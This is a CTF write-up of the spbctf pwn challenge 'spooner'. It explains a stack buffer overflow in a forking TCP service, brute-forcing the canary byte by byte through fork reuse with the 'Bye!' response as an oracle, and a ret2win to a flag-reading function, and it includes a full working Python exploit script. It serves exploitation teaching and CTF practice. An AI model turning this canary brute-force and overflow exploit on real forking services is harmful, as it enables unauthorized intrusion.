spooner
spooner
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: canary_byte_bruteforce, fork_canary_reuse, return_address_overwrite
Summary
Task: forking x86-64 TCP pwn service with stack canary + NX + no PIE; handler reads an attacker-controlled length then read_n overflows a stack buffer at [rbp-0x90]. Solution: exploit fork() canary reuse to brute-force the 7 unknown canary bytes one at a time (using the 'Bye!' clean-return banner as an oracle), then ret2win into win_fcn (0x400b2a) which reads flag.txt.
spooner — spbctf
Description
nc 109.233.56.90 11591 files: https://pwn.spbctf.ru/files/canary/task_spooner
A forking TCP pwn service. We are given the binary task_spooner
(ELF 64-bit LSB, x86-64, dynamically linked, not stripped). The goal is to
read flag.txt on the remote host.
Analysis
Protections
| Protection | State |
|---|---|
| Stack canary | Enabled |
| NX | Enabled |
| PIE | No PIE (base 0x400000) |
| RELRO | Partial |
No PIE means all binary addresses are fixed — the ret2win target is known
statically. The stack canary is the only obstacle to a straightforward return
address overwrite.
Program structure (from objdump -d -M intel)
main — sets up a socket, bind/listen on port 0x1f90 (8080), then an
accept loop that fork()s a child per connection. The child calls
alarm(5), then handler(fd), then sends the 5-byte string "Bye!" and
exits. The "Bye!" is only sent if handler returns cleanly.
win_fcn (0x400b2a) — the ret2win target:
fopen("flag.txt","r") → fread 0x100 bytes → fclose → send() the flag
back over the current fd.
handler (0x400bea):
- sends the 17-byte prompt
"Length of data: ". read_n(fd, [rbp-0x9a], 10)— reads a length string,atoi()it.- if
len > 0:read_n(fd, [rbp-0x90], len)— the length is fully attacker-controlled, so this is an unbounded stack buffer overflow.
read_n (0x400ab7) — reads byte-by-byte with recv(); stops on newline
(0x0a) or connection close; NUL-terminates the buffer. Crucially it does
not stop on a NUL byte in the payload, so payloads may contain 0x00 but
not 0x0a.
Offset derivation
- Overflow buffer at
[rbp-0x90], canary at[rbp-0x8]. - Padding to canary =
0x90 - 0x8= 136 bytes. - Stack layout after the buffer:
canary(8) + saved RBP(8) + return address(8).
Final payload shape:
136*"A" + canary(8) + 8*"B" (saved RBP) + p64(0x400b2a) # win_fcn
Solution
fork() stack-canary byte-by-byte brute force
Because the server fork()s per connection, each child inherits the same
canary as the parent — the canary value is constant across all connections.
This turns guessing a 56-bit canary (7 unknown bytes; the first byte is always
0x00) into brute-forcing 7 bytes, 256 tries each (avg ~896 requests total).
Oracle. After handler returns cleanly, main sends "Bye!". If any
canary byte is wrong, __stack_chk_fail aborts the child → no "Bye!". So:
- Send
payload = 136*"A" + known_canary_prefix + test_byte. - Response contains
"Bye!"→ the guessed byte is correct. - No
"Bye!"(crash) → wrong byte.
Details:
- The first canary byte is always
0x00(verified: overwriting it with0xffcrashes), so start the known prefix with\x00. - Skip test byte
0x0a, sinceread_nstops on newline and would truncate the payload.
Recovered canary (little-endian on the stack) = 00 74 91 48 b0 44 85 5e.
Protocol (per connection)
- Server sends
"Length of data: ". - Client sends
"<len>\n". - Client sends exactly
<len>payload bytes. - Clean return → server sends
"Bye!".
After recovering the canary, send the final ret2win payload; win_fcn opens
flag.txt and sends the flag back.
Exploit
python read-only • copy allowed#!/usr/bin/env python3 import socket, time from concurrent.futures import ThreadPoolExecutor HOST = "109.233.56.90" PORT = 11591 WIN = 0x400b2a PAD = 0x90 - 0x8 # 136 def p64(v): return v.to_bytes(8, "little") def try_payload(payload): """Return True if server responds with 'Bye!' (clean return / canary ok).""" try: s = socket.create_connection((HOST, PORT), timeout=4) s.settimeout(3) s.recv(64) # "Length of data: " s.sendall(str(len(payload)).encode() + b"\n") s.sendall(payload) data = b"" try: while True: chunk = s.recv(64) if not chunk: break data += chunk if b"Bye!" in data: break except socket.timeout: pass s.close() return b"Bye!" in data except Exception: return None def test_byte(canary, byte): payload = b"A" * PAD + canary + bytes([byte]) for _ in range(2): # retry on transient errors r = try_payload(payload) if r is None: time.sleep(0.2) continue return byte if r else None return None def brute_canary(): canary = b"\x00" # first canary byte is always 0x00 for i in range(1, 8): found = None with ThreadPoolExecutor(max_workers=16) as ex: # skip 0x0a: read_n stops on newline and would truncate the payload futs = {ex.submit(test_byte, canary, b): b for b in range(256) if b != 0x0a} for f in futs: try: res = f.result() except Exception: res = None if res is not None: found = res if found is None: print(f"[!] byte {i} not found", flush=True) return None canary += bytes([found]) print(f"[+] byte {i} = 0x{found:02x} canary={canary.hex()}", flush=True) return canary def get_flag(canary): payload = b"A" * PAD + canary + b"B" * 8 + p64(WIN) s = socket.create_connection((HOST, PORT), timeout=6) s.settimeout(5) s.recv(64) s.sendall(str(len(payload)).encode() + b"\n") s.sendall(payload) data = b"" try: while True: chunk = s.recv(256) if not chunk: break data += chunk except socket.timeout: pass s.close() return data if __name__ == "__main__": print("[*] brute-forcing canary (parallel)...", flush=True) canary = brute_canary() if canary: print(f"[+] CANARY = {canary.hex()}", flush=True) # 00749148b044855e out = get_flag(canary) print("[+] RESPONSE:", out, flush=True) print(out.decode(errors="ignore"), flush=True)
Running it brute-forces the canary quickly (16 parallel threads) and returns the flag.